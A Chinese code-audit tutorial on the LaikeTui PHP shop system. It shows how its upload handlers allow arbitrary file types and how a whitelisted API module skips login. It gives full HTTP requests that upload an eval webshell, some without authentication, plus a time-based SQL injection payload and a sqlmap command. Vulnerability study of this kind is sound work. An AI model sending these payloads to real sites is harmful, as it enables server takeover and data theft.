非常入门级别的php代码审计

也是来自我以前在xz看到的文章,然后里面说了几个洞
https://xz.aliyun.com/news/13473 官网 https://www.laiketui.com/
简单看看开发文档。 https://www.laiketui.com/docs/open 然后知道其大致的mvc对应的代码在哪里。还有这个filter在哪里写和怎么写的就可以开始了。

后台webshell上传

随便找一个文件上传的地方。根据请求找到对应的代码位置。

/LKT/index.php?module=system&action=uploadImg&dir=image

LKT/webapp/modules/system/actions/uploadImgAction.class.php

然后发现文件后缀没有做任何过滤。而且文件的后缀是根据$_FILES['imgFile']['type']来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$db = DBAction::getInstance();

// 查询配置表信息
$sql = "select * from lkt_config where 1=1 ";
$r = $db->select($sql);
$uploadImg = $r[0]->uploadImg; // 图片上传位置

if(empty($uploadImg)){
$uploadImg = "../LKT/images";
}
if(is_dir($uploadImg) == ''){ // 如果文件不存在
mkdir($uploadImg); // 创建文件
}
$error = $_FILES['imgFile']['error'];
switch($_FILES['imgFile']['error']){
case 0: $msg = ''; break;
case 1: $msg = '超出了php.ini中文件大小'; break;
case 2: $msg = '超出了MAX_FILE_SIZE的文件大小'; break;
case 3: $msg = '文件被部分上传'; break;
case 4: $msg = '没有文件上传'; break;
case 5: $msg = '文件大小为0'; break;
default: $msg = '上传失败'; break;
}

$imgURL=($_FILES['imgFile']['tmp_name']);
$type = str_replace('image/', '.', $_FILES['imgFile']['type']);
$imgURL_name=time().mt_rand(1,1000).$type;
move_uploaded_file($imgURL,$uploadImg.$imgURL_name);
$image = $uploadImg . $imgURL_name;
echo json_encode(array("error"=>$error,"url"=>$image,'message'=>$msg));

直接绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /LKT/index.php?module=system&action=uploadImg&dir=image HTTP/1.1
Host: laike.learn
Content-Length: 337
Cache-Control: max-age=0
Origin: http://laike.learn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8w9SqIcQBkGu5tb3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://laike.learn/LKT/index.php?module=product_class&action=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: admin_mojavi=rj15v5a51vt4uak13nmn10o5qu; XDEBUG_SESSION=17499
Connection: keep-alive

------WebKitFormBoundary8w9SqIcQBkGu5tb3
Content-Disposition: form-data; name="localUrl"

C:\fakepath\shell.php
------WebKitFormBoundary8w9SqIcQBkGu5tb3
Content-Disposition: form-data; name="imgFile"; filename="shell.php"
Content-Type: image/php

<?php echo "aaaa";eval($_POST[1]);?>
------WebKitFormBoundary8w9SqIcQBkGu5tb3--

python的话大概要这么写。
files = {'imgFile': ("shell.php", shell,'image/php')}

前台shell上传

当我们删除cookie的时候。会发现这个功能点是没有权限的。后来发现这个filter会对我们session进行检查。

LKT/webapp/filter/LoginFilter.class.php

public $candirect = array("Default","Login","api","api_news","app") ; 这个是白名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once(MO_LIB_DIR . '/DBAction.class.php');
class LoginFilter extends Filter {

public $effect;
public $candirect = array("Default","Login","api","api_news","app") ;

public function execute ($filterChain) {
if($this->effect == false){
$filterChain->execute();
return;
}

//取得第一个访问模块的名称
// 检索当前应用程序控制器
$controller = $this->getContext()->getController();
/* 小程序过滤设置 开始 */
$request = $this->getContext()->getRequest();
// 检索这个模块动作堆线
$actionstack = $controller->getActionStack();
// 检索第一个条目
$first = $actionstack->getFirstEntry();
// 检索此条目的模块名
$firstmodule = $first->getModuleName();
// 搜索数组中是否存在指定的值,存在
if(in_array($firstmodule,$this->candirect)){
// 执行此链中的下一个筛选器
$filterChain->execute();
} else {
if($this->getContext()->getUser()->isAuthenticated()){
// 获取管理员id
$name = $this->getContext()->getStorage()->read('admin_id');

然后去白名单里面看看有没有一些可以利用的点。

LKT/webapp/modules/api/actions/userAction.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function upload(){
// 查询配置表信息
$sql = "select * from lkt_config where id = '1'";
$r = lkt_gets($sql);
if ($r) {
$uploadImg = $r[0]->uploadImg;
// 图片上传位置
if (empty($uploadImg)) {
$uploadImg = "../LKT/images";
}
} else {
$uploadImg = "../LKT/images";
}

$imgURL = ($_FILES['file']['tmp_name']);
$type = str_replace('image/', '.', $_FILES['file']['type']);
$imgURL_name = time() . mt_rand(1, 1000) . $type;
move_uploaded_file($imgURL, $uploadImg . $imgURL_name);
echo $imgURL_name;
}

poc

改一下路由就好。记得name=”file” 也要改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /LKT/index.php?module=api&action=user&m=upload HTTP/1.1
Host: laike.learn
Content-Length: 334
Cache-Control: max-age=0
Origin: http://laike.learn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8w9SqIcQBkGu5tb3
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://laike.learn/LKT/index.php?module=product_class&action=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: XDEBUG_SESSION=17499
Connection: keep-alive

------WebKitFormBoundary8w9SqIcQBkGu5tb3
Content-Disposition: form-data; name="localUrl"

C:\fakepath\shell.php
------WebKitFormBoundary8w9SqIcQBkGu5tb3
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/php

<?php echo "aaaa";eval($_POST[1]);?>
------WebKitFormBoundary8w9SqIcQBkGu5tb3--

前台sql注入

LKT/webapp/modules/api/actions/orderAction.class.php

可惜的是这个地方都做了addslashes。这个只能在特定场合下绕过。如果没有的话是可以进行盲注的。

1
2
3
4
5
6
7
8
9
10
11
    public function ReturnData()
{
$request = $this->getContext()->getRequest();
// 获取信息
$id = addslashes($_POST['id']); // 订单详情id
// $id = $_POST['id']; // 订单详情id
$oid = addslashes($_POST['oid']); // 订单号
$otype = addslashes($_POST['otype']); // 状态
$re_type = addslashes(trim($request->getParameter('re_type')));
$back_remark = htmlentities($_POST['back_remark']); // 退货原因
$res = lkt_gets("select * from lkt_order_details where id = '$id'");//查询售后之前的状态
1
2
3
4
5
6
7
8
9
10
11
12
POST /LKT/index.php?module=api&action=order&m=ReturnData HTTP/1.1
Host: laike.learn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

id=1'+union+SELECT+1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,If(1,Sleep(3),0)#&oid=1&otype=1&re_type=1&back_remark=1
1
`python sqlmap.py -u "http://laike.learn/index.php?module=api&action=order&m=ReturnData" -data "id=1&oid=1&otype=1&re_type=1&back_remark=1" -p back_remark -dbs -batch`